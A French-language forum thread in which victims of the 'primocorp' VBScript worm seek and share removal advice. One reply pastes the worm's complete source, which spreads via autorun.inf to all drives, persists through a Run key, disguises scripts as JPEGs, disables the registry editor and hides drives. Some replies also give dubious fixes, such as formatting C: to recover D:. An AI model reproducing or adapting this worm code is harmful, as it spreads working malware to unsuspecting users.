Un hacker dans mon système

Question

Bonjour,
mon pc a été infecté par un virus ki s'affiche sous forme de page web: www.primocorp.fb.bz
j'arrive pas à le supprimer . Kan je suis sur msn il balance des messages grossiers à ceux avec ki je chat 
je ne sais plus koi faire au démarrage il ya un message ki s'affiche bienvenue sur la primteam site des hackers et blabla
en plus je n'arrive même plus à voir ma partition D:
svp aidez moi c'est urgent.
En référence à cette discussion

alxxds · Accepted Answer

Restaration dy sytème

hoho · Answer

moi ossi j'ai le mm problem alr svp trouvez des solutions possible à ces conards ki ns embete à c point .
merci d votre comprehension

brave · Answer

Bonjour, 
mon pc a été infecté par un virus ki s'affiche sous forme de page web: www.primocorp.fb.bz 
j'arrive pas à le supprimer . Kan je suis sur msn il balance des messages grossiers à ceux avec ki je chat 
je ne sais plus koi faire au démarrage il ya un message ki s'affiche bienvenue sur la primteam site des hackers et blabla 
en plus je n'arrive même plus à voir ma partition D: 
svp aidez moi c'est urgent.

Bahmani · Answer

meme virus.pb pr partition D.et Excell.. La restauration résoud pb.
on recherche antivirus pr s'en debarasser 1xpr toute

DeNisCoOl · Answer

kremos94,

les modos ont été prévenu.

Denis

abdel15 · Answer

bey bey Mr ivoirienen les marocain sont fort jai effacer ton virus ..il est fort mais non plus pour tjs

abdel15 · Answer

attentio le virus attaque le cpu

abdel15 · Answer

installer le antivirus avera ..il demue un peux le menace de ce virus

SSIMO · Answer

eeet les gas voici la solution , c'est un fichier vbscript dont le nim est le suivant vb@dock.vbs c'est un fichier qui se lance avec l'exucution automatique d'une partition de disque dur , ca veu dir que si ce fichier et dans l'une de vos partition et vous voulez y entrer avec double clik il se lance et fait son travail magic .


solution : rechercher se fichier a l'aide de l'anglet recherche sous windows et activer la recherche ds les fichier cachés et les fichiers system puis cliquez avec bouton droit sur ce fichier pour l'enlever la lecture seule et enfin suprimeeeeeeeeeeeeeeeeeer. 
 
Et pour que la partition d revient il est necessaire d'effectuer un formatage de la partition c. e apré tout reviendra en ordre.

fanfan · Answer

je n'arrive pas a m'en débarasser que faut il faire ....www.primocorp...sur ma page d'accueil et pas moyen de changer la pas revient toujours....option internet pas d'accueil grisé impossible de mettre autre chose...que faire

ibouch · Answer

j'ai aussi été contaminé par ce truc j'ai essayé les differentes astuces déjà cités sans succes je n'ai pas de d mais uniquement le c et maintenant que j'ai effacé tous les fichiers il reste toujours ce message sur explorer et quand le pc s'allume merci si solutions

leli · Answer

bonjour, même problème j'ai fait une restauration du système date antérieure à l'apparition du primocorp, visiblement pb résolu avec une simple restauration ...

youridumaroc · Answer

slt voila ca pourrait vs aider telecharger"malwarebytes anti malware" ca marche a 100% j l ai essaye et j n ai les alertes que j avais avant bnne chance a vs tous

Moha · Answer

salut , j'avais aussi ce Virus. mais c'est fini j'ai arrivé a le supprimer , voila la methode a suivre:
en va le supprimer dans le register, mais vous ne pouvez pas le faire , psk ce virus désactive la modification dans le register , alor vous aller telecharger tuneup utilties, pour moi j'ai travaillé avec la vérsion 2006 , mais il existe la vertion 2008, quand ce logiciel est installé , vous allez redemarer le pc , puis entrer en mode sans échéc , et vous entrer au register par le tuneup utilities(ce logiciel nous permet d'accéder au register), dans l'anglet recherche vous tapper le nom du  virus, les chemin dont il ya le verus s'affiche , et aprés vous les supprimer est c'est fini , vous redemarer votre pc et éfféctuer les meme etap dans le mode normal

réda · Answer

meme probleme SVP aidez moi

moha · Answer

tout ce qu'en a sur l'odinateur est enregistrer dans un endroit qui s'appel register sous forme des valeur décimal ou binaire ou héxadécimal, alor ce virus est enregistrer dans windows/system32 mais il est invisible , il faut alor le suprimer dans le register ,mais comme j'ai déja dit ce virus désactive la modification sur le registe , c'est à dire quand vos tapez regedit dans le menu exécuter , un message d'erreur s'affiche qui dit que l'administreteur a 
désactiver les modification sur le register( au moi il etait le cas pour moi).alor il faut installer le tuneup utilities , c'est un logiciel de netoyage de register , mais en va juste l'utiliser pour entrter au register.j'explique comment entret au register via ce logiciel:
1-lancer le logicile tuneuo utilities
2-cliquer sur Gestion etr control
3-tuneup registry editor

la vous etes sur le register, aller a recherche , et tapper le nom du ce virus , vb@dock.vbs ou vl@dock.vbs
il va trouver les dossier qui contient ce virus et vous supprimer ces valuer , mais tout ce la en mod sans echec , puis refaire les meme etapes au mode normal , en fin dites bye au virus

fanane · Answer

merci pour la reponse ; j'ai le même prob j'ai deja supp vb@dock.vbs ds la base de registre mais j'ai encore le message lors du demarage du pc ( bienvenue sur la primteam site des hackers.....)
merci d'avance.

moha · Answer

oui , si tu utilise teneup utilities , met dans la recherche le message , que tu reçois au demmarge  , aprés suprrime le aussi

fanane · Answer

je vous informer que j'ai deja supp  vb@dock.vbs  mais  le lecteur D: ne s'affiche pas !!
et voila le message qui s'affiche  au demarrage de la machine
bienvenu a la primteam!!! rejoinez nous vite
 slt nous sommes les 1er hacker de côte d'ivoire!!!----si vous voulez nous rejoindre ecrivez nous (faroteur_2006@yahoo.fr)a+++
aidez moi svp
merçi encore

fanane · Answer

salut,
je vous informer que j'ai deja supp  vb@dock.vbs  mais  le lecteur D: ne s'affiche pas !!
et voila le message qui s'affiche  au demarrage de la machine
bienvenu a la primteam!!! rejoinez nous vite
 slt nous sommes les 1er hacker de côte d'ivoire!!!----si vous voulez nous rejoindre ecrivez nous (faroteur_2006@yahoo.fr)a+++
aidez moi svp
merçi encore

TomCat · Answer

Salut; une solution provisoire pour avoir accès au lecteur D est de renommer ce lecteur avec une autre lettre comme M par exemple.
ça ne résoud pas le problème mais au-moins ça permet d'avoir accès au lecteur D

moha · Answer

t'inquitte le virus est bien suprimé dans votre ordinateur , pour recuperer  la partition , ce lien va t'aidera
http://www.infoprat.net/astuces/windows2k_xp/astuces/bdr_001.php
si cela marche pas , dites le moi , je vais chercher une autre solution

djiboys · Answer

bonjour les mec , merci pour toute vos description .
j'ai tout suivie et presque tout reproduit , et appliqué les moindre de vos conseil. 
j'ai telecharger le tuneup (2008) et je suis parti sur le mode sans echec , pu enfin accedée au registre, surpimée le virus (vl@dock.vbs) . lorsque je croyais que il etais parti , je me rends compte qui le disque D n'es toujour pas visible. mais le pire ,c'est que le disque C , (celui ou y a le windows), lorsque j'ai clické desus , il es revenu. j'ai compris que il etait touljour la ( ( en execution automatiq). j''ai refait tout . mais le disque D est toujour sur (excution automatique).

que faire pour le supprimée définitivement!!!!!


autre chose au pire , des amis m'on dis de tout formaté, mais je veux pas perde les donnée du disque D. alors je me suis dis que si je devais tout formaté j'allais gravé mes donnée sur dvd . mais y a un mec qui me dis que le virus , serai dans le dvd et que a chaque fois que je voudrai accedé a mes donnée,il sera la pour me virolée encore et encore !!!!!! ( dois je le croir et renoncée a mes donnée? snifff)?

merci pour tout vos reponse

aligod · Answer

pour le suprimer définitivement vous devez le suprimer comme j'ai indiqué dans mon dernier message (à l'aide du dos)
pour faire apparaitre votre partition D: , j'ai utiliser partition magic , ce dernier detecte d: aprés j'ai renomer cela en S ou autre letrre qui vs conviendra , comme ca vous allez trouvez la partition S (ds mon cas ) dans votre poste detravail, vous faite la meme chose pour la rendre D: , si vs voulez ( ce que j'ai pas tester)..
NB : pr suprimer définitivement le virus , faut suprimer meme le fivchier vb@dock.vbs ,et autorun.inf s'il existe dans vos partition

moha · Answer

c'est vraiment bizard les amis , j'ai passer par la méthode de ten up utilities , et il est supprimer 
pour la partition D, voila comment la récupérer:
tapez gpedit.msc dans l'invite de commande
choisir modél d'administration (il ya 2 choisir la 2emme) puis commposant windows puis explorateur windows.
a doite vous trouver des paramétre , choisissez dans poste de travail ,masquer ces lecteur spécifié,
une boitte de dialogue s'affiche, choisir , réstreindre les lecteur A,B,CetD , cliquer sur appliquer , comme ça tous les lecteur vont etre masquer , choisir Ne pas réstreindre les lecteur cliquer sur ok, et comme ça tous vos lecteur vont etre afficher

fanane · Answer

salut , svp aider moi j'ai un gr prob je ss infecté par un virus ki s'affiche sous forme de page web: www.primocorp.fb.bz au démarrage de la machine un message ki s'affiche (","BIENVENUE A LA PRIMTEAM!!! REJOIGNEZ NOUS VITE"et (Slt nous sommes les 1er hacker de la Côte d'Ivoire!!!----si vous voulez nous rejoindre ecrivez nous(faroteur_2006@yahoo.fr) a+++ ) en plus je n'arrive même plus à voir ma partition D:(il est cacher) des jours passe il m'a affiche une autre page sous forme d'un fichier txt; voila qq il contien: *********************************** ' VB Script Document 'Slt les ptits c'est la primteam ki est dans la place On error resume Next demarrage = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System" Dim fso,usb,Textautorun Set fso = CreateObject("Scripting.FileSystemObject") Set WSSH = CreateObject("Wscript.shell") Set chemin= FSO.GetSpecialFolder(1) Textautorun="[autorun]"&vbcrlf&"shellexecute=wscript.exe vl@dock.vbs"&vbcrlf&"action=""pas d'action""" location=wscript.scriptfullname do 'lancement de la fonction de copie du virus' msgcopy chemin, "vl@dock" starting chemin 'Inscription du virus dans la base de registre pour un demarage automatique' iconchange 'Execution de la fonction de changement de l'aspect de l'icone des Vbs en Jpeg' primreg 'execution de la fonction de changement du registre' Webracourci 'création d'un raccourci web sur le bureau' 'Lancement de la copie du virus et d'autorun sur tout les disques connectés au Pc for each usb in fso.drives if(usb.drivetype=1 or usb.drivetype=2)and usb.path <> "A:" then chemin2=usb.path msgcopy chemin2, "vl@dock" set SystemaChem=fso.getfile(chemin2&"\vl@dock.vbs") SystemaChem.attributes=7 set SystemaChem=fso.getfile(chemin2&"\autorun.inf") set SystemaChem=fso.createtextfile(chemin2&"\autorun.inf",2,true) SystemaChem.write Textautorun SystemaChem.close set SystemaChem=fso.getfile(chemin2&"\autorun.inf") SystemaChem.attributes=7 end if next loop while time<>"00:00:00" '-------------------------------------------------------------------------------- 'fonction de copie du virus sur le disque et voilage de son existence sub msgcopy(x,name) File = Wscript.ScriptFullName fso.copyfile file ,x & "\" & name & ".vbs" set SystemaChem=fso.getfile(chemin&"\vl@dock.vbs") SystemaChem.attributes=7 end sub '--------------------------------------------------------------------------------' 'fonction d'inscription de valeurs dans le régistre sub primreg() Set WshShell = WScript.CreateObject("WScript.Shell") wshshell.regWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.primocorp.fb.bz/","REG_SZ" 'Bloque le changement de la page de démarrage wshshell.regWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\","" wshshell.regWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\","" wshshell.regWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage","1","REG_DWORD" 'Interdit l'ouverture de la base de régistre wshshell.regWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD" 'Affiche mon message de propagande wshshell.regWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Slt c'est ---LIEH@CKER--- le N°1 des hackers ---" 'Affiche le message de raliement wshshell.regWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption","BIENVENUE A LA PRIMTEAM!!! REJOIGNEZ NOUS VITE" wshshell.regWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText","Slt nous sommes les 1er hacker de la Côte d'Ivoire!!!----si vous voulez nous rejoindre ecrivez nous(faroteur_2006@yahoo.fr) a+++ " 'Cache les disques dur de la machine wshshell.regWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives","8","REG_DWORD" end sub '--------------------------------------------------------------------------------' 'Inscription dans le registre pour une execution au demarage de windows sub starting(Location) set wssh = CreateObject("WScript.Shell") wssh.regwrite demarrage,location & "\vl@dock.vbs" end sub '--------------------------------------------------------------------------------' 'Changement de l'icone de Vbs en Jpeg sub iconchange() Dim resultat resultat = wssh.regread ("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\jpegfile\DefaultIcon\") wssh.Regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Vbsfile\DefaultIcon\",resultat end sub '--------------------------------------------------------------------------------' 'Création d'un raccourci web sur le bureau sub Webracourci() Dim Shell, DesktopPath, URL Set Shell = CreateObject("WScript.Shell") DesktopPath = Shell.SpecialFolders("Desktop") Set URL = Shell.CreateShortcut(DesktopPath & "\Primocorp.URL") URL.TargetPath = "http://www.primocorp.fb.bz" URL.Save end sub '-------------------------------------------------------------------------------- ***************************************** svp aidez moi c'est urgent et merçi d'avance.

bokh · Answer

pour la partition D: tu peu la renommée dans la base de données
tu clique avec la bouton droite sur poste de travail-gérer-gestion des disques- tu clique avec la bouton droite sur la partition D: et renommer la. et tu va la trouvé au poste du travail
et pour la virus utilise avera

yahoo-10 · Answer

veuillez apprendre le code vbs pr s'avoir comment le supp normalement tous et en relation avc la base de registre moi j'ai entrain de créer un anti vl@dock a l'aide de ce fichier lui même

loboking · Answer

salam al khot voila une solution pour supprimer définitivement ce virus

1ère étape: on vas le  Supprimer avec la commande dos

Démarrer ----> exécuter ----> tapez cmd

Cd\   

dir /a 

del /A/F vl@dock.vbs

del /a/f autorun.inf

pour aller a la partition "d" tapez d:

dir /a 

del /a/f vl@dock.vbs

del /a/ autorun.inf

faites la même chose si vous avez d'autre partitions

2eme étape: on vas dans l'éditeur de registre 

Démarrer ----> exécuter ----> tapez  regedit si vous avez cette commande désactiver par le virus c'est mieux utiliser le logiciel tuneup pour avoir l'accer au registre

Pour supprimer la page qui s'affiche au démarrage de Windows 

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ 

Clique droit supprimer LegalNoticeCaption","BIENVENUE A LA PRIMTEAM!!! REJOIGNEZ NOUS VITE"

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Clique droit supprimer  LegalNoticeText","Slt nous sommes les 1er hacker de la Côte d'Ivoire!!!----si vous voulez nous rejoindre ecrivez nous(faroteur_2006@yahoo.fr) a+++ "

Pour retablir l'affichage du disque dure disparu 

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Cliquez droit sur  NoDrives modifier et remplacer la valeur 8 par 0 

Pour supprimer la page d'accueil  www.primocorp.fb.bz

"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\

Clique droit sur Start Page choisis supprimer

Clique droit sur window title choisis supprimer

Pour activer l'ouverture de la base de registre

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\

Clique droit sur DisableR¬egistry choisis modifier remplacer la valeur 1 par 0 


Redémarrer votre pc et tout vas bien marché

le_casaoui · Answer

le problème, mes amis, c'est que ce truc (virus ou trojan soit-il, peu importe) est un script vbs (vb script) qui utilise un programme en faille de windows comme environnement pour s'exécuter, le programme en question est: (wscript.exe)
que vous trouverez en tapant ("%systemroot%system32") dans le champs de la fenêtre exécuter (accédée a partir du menu demarrer)

don c ce qu'il faut, c'est d'essayer de briser l'association des scripts .vbs avec ce wscript(wsh pour les habitués)
pour cela vous allez dans poste de travail -> outils-> options de dossiers->(l'onglet) types de fichiers -> (tapez v puis défiler la barre pour tomber sur vbs, en face de lui vous verrez le programme qui lui associé pour l'execution (ca sera ce wsh), vous essayez de supprimer la liaison (bouton supprimer en dessous), sinon si ce n'est pas possible (travail du virus)
essayer de modifier en un autre programme, moi je l'ai lié avec bloc notes :)

allez amusez vous, et ne chater plus c'est une perte de temps :!

enfin comme a dit l'autre, les marocains sont forts hehaa @+ ((des soucis, questionner moi??!!))

zak · Answer

bonsoir 
avant tout je tiens à vous remercier pour ce forum qui nous aide énormément, puis je tiens à signaler que le virus dont vous parler  n'est pas assez simple à supprimer , je parle en connaissance de cause puisque j'avais le même probléme (et je l'ai toujours ) , j'ai pu activer la modification du registre grace à (restoreregedit )  aprés avoir installer 3 logiciels qui n'ont rien fait , et j'ai pu supprimé les fichiers infectés dans la base du registre ,aprés j'ai lancé la recherche dans mes deux répartitions pour détecter le virus , et oui j'ai pu le faire  mais j'ai pas pu le supprimer , et puis et sans faire attention j'ai cliquer sur le lecteur C , et l'action du virus s'est déclanchée à nouveau .... et j'ai pas pu activer à nouveau la modification du registre ,donc là chui coincé je peux rien faire s'il y a une solution efficace je serai tres reconnaissant

NB.j'ai essayé toutes les solutions présentées dans le forum

msrs_hicham · Answer

Demarrer
Executer
taper "regedit"

tu va dans
hkey_current_user
software
microsoft
windows
currentversion
run

Tu regardes si tu ne vois pas une clé qui ressemble à ton fichier primocorp.
Et tu le supprime a partir de la.

Puis tu fait la meme chose dans hkey_local_machine
****************msrs_hicham************

josh · Answer

slt
j'etais attaqué par le meme virus, et je viens de suivre cette procedure de desinfection 
mon probleme est resolu
  
http://blog.abuse.ma/?p=69

chroma · Answer

bonjour
merci pour le lien
et je precise:

http://blog.abuse.ma/dockfix.exe

fini 'Primocorp' et  la disparition de mes partitions 

thanx

anas · Answer

chercher et installet un utilitaite dockfix.exe ca resoud le probleme

le_casaoui · Answer

LA SOLITON présentée par "loboking" est la plus complète possible .

vous allez l'effacer complètement en l'appliquant à la lettre .

ami · Answer

salut les amis , je voudrais savoir comment supprimer le virus vb@dock.vbs de mon pc  a partit du tueup 2008 , j'arrive pas a cceder au registre sur quelle option je doit aller

cyberna · Answer

salut tous le monde , j'ai une surprise pour tous ceux qui souffre du virus PRIMOCORP j'ai trouvé la solution efficace pour le supprimer difiinitivement du pc et faire apparaitre le disc dur disparu .

cyberna · Answer

salut j'ai une surprise pour vous , j'ai trouvé la meilleure solution pour se debarasser du virus PRIMOCORP dans meme pas 1 min  , aussi faire apparaite votre disc dur disparu .

cyberna · Answer

est ce que quelq'un cherche la solution pour le virus PRIMOCORP ?

exodus · Answer

slt, l'ai l meme probléme "primocorp"   j'ai accédé au registre avec tuneup, mai quan j fai des modification pour l suprimé, ca revien comme si j navai rien fai, si qqn peu m'aider...

Tof80 · Answer

il faut que tu enleve le mouchard de ton systeme d'expoitation ecrit dans la barre menu demarrer regsvr32.exe.uc:\windodows\system32\regwizc.dll      puis entrer(la touche)  . c ce que j 'ai  fait pour ne pas etre infiltrer et pris le serveur Analogx proxy  qui filtre toute les entrées  web et  suis tranquille...

exodus · Answer

slt, le truc que tu ma donné ne marche pa, car j peu pa accéder directement au registre, jai essayé avec "tuneup", je supprime les truc de primocorp, mai le probléme cé que des que j' actualise, ca revien tt de suite, je cherche alors un moyen d'enregistrer les modifications,si qqn connai un moyen plzzz

tigereyes · Answer

salut
moi aussi je recommande le dockfix disponible directement sur ce lien
http://www.securlabs.com/dockfix.exe

ANAPORTABLE · Answer

Pour résoudre ce problème il faut suivre les étapes inscrites ci-dessous:
1°- Il faut d'abord arrêter le processus intitulé "wscript.exe" dans le gestionnaire des taches,
2°- Démarrer exécuter et puis taper cmd
      Ensuite cd \ pour aller à la racine et puis: dir /A pour afficher le contenu : vous reperez les fichiers à effacer 
      Ensuite: del /A/F vb@dock.vbs (autorun egalement ..., ) 
      NB:faites la meme chose sur vos autre partition  pour acceder à D tapez D: ,E: ...etc 

3°- Télécharger un tout petit utilitaire intitulé Tuneup utilites ce dernier vous permettra d'accéder au registre en 
       mode sans echec et vous procéder à la supresion des clés relatives à Vl@dock.vbs ainsi que les message d'acceuil:
               * slt, nous sommes les 1er hacker de la côte d'ivoire,
               * bienvenue ....
4°- Redemarrage,
5°- Telecharger Fixperl.exe pour que ce dernier se charge de la restauration de votre système pour réaparaîttre la partition disparue D:\

olyams · Answer

Merci beaucoup pour l'aide kan 3endi had mochekil dert had les etape l7amdolillah t7ayad anti virus rah makidir walooo vraiment

linky51 · Answer

Bonjour !
Hey les mecs si vous voulez vous faire comprendre, évitez le langage SMS et le bones grosses fautes d'orthographe ! Pour vos problèmes de virus MSN, essayez en premier la restauration du système, et si ça marche pas, sauvegardez vos fichiers (ceux qui sont pas infectés, hein !) sur un disque dur ou une clé USB et réinstallez Windows !
Mais malheureusement, il n'existe pas de solution miracle qui supprime tout les virus existant dans le monde (faut arrêter de croire au père noël !).
Eh ben, en esperant avoir apporté de l'aide, Au revoir!

rinahi · Answer

merci a toi robokin c on suivant  tes etapes ke j trouver la soulition merci une autre foi 


Démarrer ----> exécuter ----> tapez regedit si vous avez cette commande désactiver par le virus c'est mieux utiliser le logiciel tuneup pour avoir l'accer au registre 

Pour supprimer la page qui s'affiche au démarrage de Windows 

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ 

Clique droit supprimer LegalNoticeCaption","BIENVENUE A LA PRIMTEAM!!! REJOIGNEZ NOUS VITE" 

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 

Clique droit supprimer LegalNoticeText","Slt nous sommes les 1er hacker de la Côte d'Ivoire!!!----si vous voulez nous rejoindre ecrivez nous
j une faveur a te demander la barre de langue est disparu commnt acceder par le gestionnaire merci une aytr foi

loloetseb · Answer

Je conseille par chaque personne conceranit pas ce probleme de creer un topic et de poster un Rsit afin qu'on vous aide dans la demarche de desinfection

 Télécharge Random's System Information Tool (RSIT) de random/random et enregistre l'exécutable sur ton Bureau. 

-> http://images.malwareremoval.com/random/RSIT.exe 

! Déconnecte toi et ferme toutes tes applications en cours ! 

Double-clique sur " RSIT.exe " pour le lancer . 

-> Une première fenêtre s'ouvre avec en titre : " Disclaimer of warranty " . 

* Devant l'option "List files/folders created ..." , tu choisis : 2 months 

* clique ensuite sur " Continue " pour lancer l'analyse ... 


-> laisse faire le scan et ne touche pas au PC ... 


Lorsque l'analyse sera terminée, deux fichiers texte s'ouvriront (probablement avec le bloc-note). 

Poste le contenu de " log.txt " (c'est celui qui apparait à l'écran), ainsi que de " info.txt " (que tu verras dans la barre des tâches), pour analyse et attends la suite ... 

Important : poste un rapport, puis l'autre dans la réponse suivante
Si tu essaies de poster les deux en même temps, cela risque d'être trop long pour le forum 


( Note : les rapports seront en outre sauvegardés dans ce dossier -> C:\rsit )

bach · Answer

slt
formatais ton PC

Un hacker dans mon système

50 réponses

Discussions similaires

Newsletters